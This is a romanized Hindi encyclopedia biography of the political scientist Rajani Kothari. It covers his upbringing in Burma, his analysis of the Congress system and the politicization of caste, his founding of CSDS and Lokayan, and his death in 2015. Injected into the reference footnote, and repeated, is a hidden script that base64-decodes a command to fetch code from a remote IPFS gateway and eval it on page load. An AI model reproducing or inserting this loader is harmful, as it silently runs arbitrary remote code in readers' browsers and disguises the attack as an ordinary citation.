रजनी कोठारी

	rajani kothari
	rajani kothari\|200px\|center
poora nam	rajani kothari
janm	16 agast, 1928
mrityu	19 janavari, 2015
mrityu sthan	dilli
abhibhavak	phauja lal kothari (pita)
pati/patni	hansa kothari
santan	putr- milon aur ashish
karm bhoomi	bharat
karm-kshetr	shikshak, lekhak, rajinitik vicharak
mukhy rachanaean	p aaulitiks in iandiya (1970) kast in iandiyan p aaulitiks (1973), rithiankiang demokresi (2005) adi
bhasha	aangrezi
puraskar-upadhi	rait laivalihud puraskar (1985)
vishesh yogadan	'lokayan' aur 'vikasashil samaj adhyayan pith' (si.es.di.es.) ki sthapana
nagarikata	bharatiy
any janakari	rajani kothari 'pipuls yooniyan aauf sivil libartij' ke rashtriy adhyaksh bhi rahe. kothari ji ne apani pratibha ka istemal dalit-pichh di rajaniti ko sootrabaddh karane aur aantarrashtriy star par bhoomandalikaran ki taqatoan ke khilaf bauddhik nakebandi karane ke lie kiya.
inhean bhi dekhean	kavi soochi, sahityakar soochi

janm tatha shiksha

rajani kothari ka janm 1928 mean ek samriddh gujarati vyaparik gharane mean hua tha. unake pita barma mean hiroan ka vyapar kiya karate the. unaki shuruati shiksha-diksha ayangaroan dvara chalae jane vale rangoon ke ek skool mean huee. parivar mean bauddhikata ki koee parampara n hone ke bavajood rajani kothari ke pita ne unhean sushikshit karane mean koee kasar n chho di. unaka bachapan barma ke apekshakrit khule samaj mean bita. ghar ki chhatoan par hone vale samoohik nrityoan, mangol aur bauddh sanskriti ke mile-jule lubhavane roop, dakshin bharatiy chettiyaroan, gujarati baniyoan, voharaoan, khojaoan aur musalaman vyapariyoan ke mishrit bharatiy samuday ke bich guzare gaye shuruati varshoan ne unhean ek udar manas pradan kiya.

bharatiy marksavad ke vyakhyata

'landan skool aauf ik aaun aaumiks' se uchch shiksha prapt karane ke bad rajani kothari ne kuchh din b dodara mean klasikal arthashastr padhaya. is dauran ve bharatiy marksavad ke prarambhik vyakhyata aur bad mean raidikal manavatavad ke pramukh pravakta manavendranath ray se bhi prabhavit hue. apane jivan ke aantim daur mean patni hansa kothari aur b de bete smitu kothari ke nidhan se ahat profesar kothari dilli sthit avas mean apana samay guzarate haian.

rajanitik chiantan

apane rajanitik chiantan ki shuruat mean rajani kothari ne bharatiy samaj aur rajaniti ke tathyagat vishleshan ko prathamikata di. khas bat yah hai ki is prakriya mean ve pratyakshavadi ravaiye se prabhavit nahian hue. yah daur vah tha, jab sath ke dashak mean neharoo yug apane patakshep ki taraf dekh raha tha. yah ek sankramanakalin samay tha, jisamean lokatantr ke kshay aur nash ki bhavishyavaniyaan ho rahi thian. isi mahaul mean kothari ji ne bharatiy lokatantr ke m aaudal ki vishishtata ki shinakht karane mean pramukh bhoomika nibhayi. us samay adhikatar samaj-vijnani bharatiy anubhav ko pashchimi lokatantroan ke anubhav ki roshani mean dekhane ki koshish kar rahe the.

lekhan kary

isi samay rajani kothari samajashastri shyama charan dube ke protsahan par 'rashtriy samudayik vikas sansthan' se ju d gaye. unhoanne apane fild vark ke dauran poore desh ka saghan daura kiya. ve aise ilakoan mean bhi gaye, jahaan jana amataur se kafi mushkil mana jata tha. is anubhav ne unhean badalate hue ya badalane ke lie taiyar bharat ke darshan karaye. tabhi ek sukhad sanyog ke tahat unhean 'bhavanagar' (gujarat) mean kaangres ke ek adhiveshan ko dekhane ka mauka mila. unhian dinoan tatkalin 'ik aaun aaumik vikali' (aj ka eepidablyoo) ke chhah aankoan mean unaki ek lekhamala chhapi, jisaka shirshak tha- ‘bharatiy rajaniti ka roop aur sar’. in lekhoan ne unake qadam rajanitishastr ki duniya mean jama diye. inamean kramashah keandr-rajy sanbandh, panchayati raj, sarakar ke sansadiy roop, afasarashahi, daliy pranali aur aant mean lokatantr ke bhavishy par gahan charcha ki gayi thi. is lekhamala mean jis saiddhaantik dhaanche ka istemal kiya gaya tha, usi ne age chal kar kothari ke vishad vanmay ki adharashila rakhi. in lekhoan ki prakriti vivadatmak thi. unhoanne ek trikonatmak kasauti pesh ki, jisaka ek kon tha lokatantr ke many siddhaantoan ka, doosara kon tha pashchimi duniya ke lokataantrik anubhavoan ka aur tisara kon tha bharatiy anubhav ki vishishtata ka. isase pahale rajanitishastr mean sansthagat aur sanvidhanagat adhyayan hi hua karate the. rajaniti ke vikasakram ko dekhane ki yah ek anoothi nigah thi.

srijanashilata

iandira gaandhi ne jab satta mean vapasi ki to rajani kothari ne apani rachanaoan mean duniya ke paimane par 'uttar' banam 'dakshin', yani 'vikasit' banam 'avikasit' ka dvandv rekhaankit karate hue rajy aur chunavi rajaniti ke pare jane ki tajavizean vikasit karane ki koshish shuroo ki. isi mukam par unhoanne gair-parti rajaniti ke siddhaantikaran mean apana yogadan kiya. kothari ki srijanashilata ka yah doosara daur khasa lamba sabit hua. unhoanne pashchim ke sabhyatamoolak pratimanoan ko chunauti dene vale gaandhi ke vicharoan ka sahara liya aur ek naya yootopiya pesh karane ki koshish ki. apane isi daur mean rajani kothari ne mahaz buddhijivi rahane ke bajay samajik-rajanitik karyakarta ki bhoomika bhi grahan ki. unhoanne apane sahayogi vidvanh dhiroobhaee sheth dvara sthapit 'lokayan' namak adhyayan karyakram mean bhagidari ki, jisaka makasad gair-parti rajanitik sanrachanaoan ko samaj-vijnan ki duniya se jo dana tha.

vaikalpik rajaniti ka sandhan

apane rachanakal ke tisare daur mean rajani kothari ne adhunikata ke vaicharik dhaanche ko kharij kiye bina vaikalpik rajaniti ka sandhan karane ka prayas kiya. darasal, unaka yah charan alochanatmak hone ke sath-sath atmalochanatmak bhi tha. unhoanne atit ke apane kee prayasoan ko k di nigah se dekha aur paya ki gair-parti rajaniti vastav mean vaikalpik rajaniti ke roop mean vikasit nahian ho pa rahi hai. udaratavad, marksavad, gaandhivad aur naye samajik aandolanoan ki parighatana bharatiy lokatantr ke badalate hue chehare ki vyakhya karane mean asamarth hai. is mukam par kothari ni ne apani shastriy pratibha ka istemal dalit-pichh di rajaniti ko sootrabaddh karane aur aantarrashtriy star par bhoomandalikaran ki takatoan ke khilaf bauddhik nakebandi karane ke lie kiya.

naye raidikalizam ki khoj

thumb|300px|rajani kothari bharatiy rajanitishastr ke anoothe achary rajani kothari ne agar ziandagi ke shuruati daur mean apane pita phauja lal kothari ki bat man li hoti to ve vidvanh banane ke bajay unhian ki tarah hiroan-javaharatoan ke shirsh vyapari hote. lekin, kothari ne aisa nahian kiya, aur pita ke dehaant ke bad apane hisse mean ayi sampatti ka kuchh bhag bech kar yoorop chale gaye jahaan jnan ki khoj mean ve jarmani se landan tak gaye aur aant mean landan skool aauph ik aaun aaumiks aiand p aaulitikal saians se padhaee karane ke bad bharat laute. yah rajani kothari hi the jinhoanne sath ke dashak ki shuruat mean chhapi apani pahali lekhamala aur pahali pustak 'p aaulitiks in indiya' se raj, samaj aur rajaniti ke adhyayan ke sthapit ayamoan ka khandan karate hue rajanitikaran ke zariye bharat jaise paramparik samaj ke adhunikikaran ki thisis di. unhoanne do atyant mahastravapoorn rachanaean aur kian jinamean ek thi 'bharat ki kaangres pranali' aur doosari thi 'jatiyoan ka rajanitikaran'. kaangres ko bharatiy samaj ki vishishtataoan se anukoolit ek 'sistam' ke roop mean dekh kar kothari ne jahaan yah pradarshit kiya ki kaangres ke itane dirghakalin varchasv ka adhar kya hai, vahaan neharoo ke avasan ke bad sath ke dashak ke aantim varshoan mean unhoanne tark diya ki ab kaangres pranali yoan apani chaudharahat kayam nahian rakh paegi. kothari ne apani sabase prabhavi thisis jatiyoan ke rajanitikaran ke roop mean di.
parampara ke adhunikikaran ki apani buniyadi samajh par bharosa karate hue kothari ne adbhut pratibha aur kaushal ke sath dikhaya ki jatiyaan adhunik rajaniti mean bhagidari karane ke dauran kis tarah badal jati haian. unake karmakandiy svaroop ka kshay hota hai aur ve sekular roop grahan karati chali jati haian. is tarah rajaniti par jativad havi nahian hota, balki jatiyoan ka rajanitikaran ho jata hai. chunavi adhyayanoan aur apane phildavark ke sath-sath jati-pratha ke akadamiy adhyayan ke dauran kothari jati ki sanrachana ki ek aisi khoobi dekh pane mean saphal rahe jis par us samay tak logoan ka dhyan nahian gaya tha. unhean laga ki koee jati sirph sajatiy vivah, karmakandiy chhuachhoot aur riti-rivajoan ke zariye doosari jati se doori bana kar hi nahian rakhati, balki kuchh aur bhi karati hai. jatiyaan tarah-tarah ki dalabandiyoan, jatiy vibhedoan, vibhinn tabakoan mean gathabandhan-punargathabandhan aur samajik pragati ki lagatar koshishoan mean bhi bhagidari karati haian. jati ke karmakandiy roop ke mu़kabale yah usaka sekular roop hai. bharat hi nahian, bhoomandaliy paimane par samajik nyay ki khoj karate hue rajani kothari ka sankalp tha vikalp ki khoj karana. bharat ke sthapit rajanitik abhijanoan ke kshamatavihin ho jane ke bad unhean lagata tha ki rajaniti se ju di asany janata rajy aur usake niyamakoan par bharosa karane ke bajay apana bhavishy apane hath mean lene vali hai. udaratavadi lokatantr nahian, rajani kothari ka yootopiya pratyaksh lokatantr ka m aaudal ki or jhuk raha tha aur rajanitishastr ki duniya ek aur vicharojak sootrikaran ki ahatean sunane vali thi. agar bhrashtachar virodhi aandolan ke uchhal ke dinoan mean kothari lagatar asvasth rahane ke karan apekshakrit nishkriyata ke shikar n ho gaye hote, to ve nishchit roop se ek naye raidikalizam ke roop mean samane ate.^[1]

samachar

19 janavari, 2015 somavar

rajanitik vicharak rajani kothari ka nidhan

rajanitik vicharak rajani kothari ka 19 janavari, 2015 ko somavar subah nidhan ho gaya. vo 85 varsh ke the. ve vikasashil samaj adhyayan pith (siesadies) ke sansthapak the. 1963 mean unhoanne siesadies ki sthapana ki. yah dilli mean sthit samaj vijnan aur manaviki se sambandhit anusandhan ka sansthan hai. isake sath-sath unhoanne 1980 mean 'lokayan' nam ke sansthan ki bhi sthapana ki. kothari ne gair-daliy rajaniti ke siddhaantoan ko bhi samane rakha. kothari ek b de rachanakar rahe. 1969 mean unaki pahali pustak 'p aaulitiks in indiya' prakashit huee. ye pustak bharatiy rajaniti ko samajhane ka tarkapoorn m aaudal pesh karati hai.

samachar ko vibhinn srotoan par padhean

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ dube, abhay kumar. rajani kothari: naye raidikalizam ki khoj (hindi) ebipi nyooz. abhigaman tithi: 20 janavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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[1] ube, abhay kumar. rajani kothari: naye raidikalizam ki khoj (hindi) ebipi nyooz. abhigaman tithi: 20 janavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]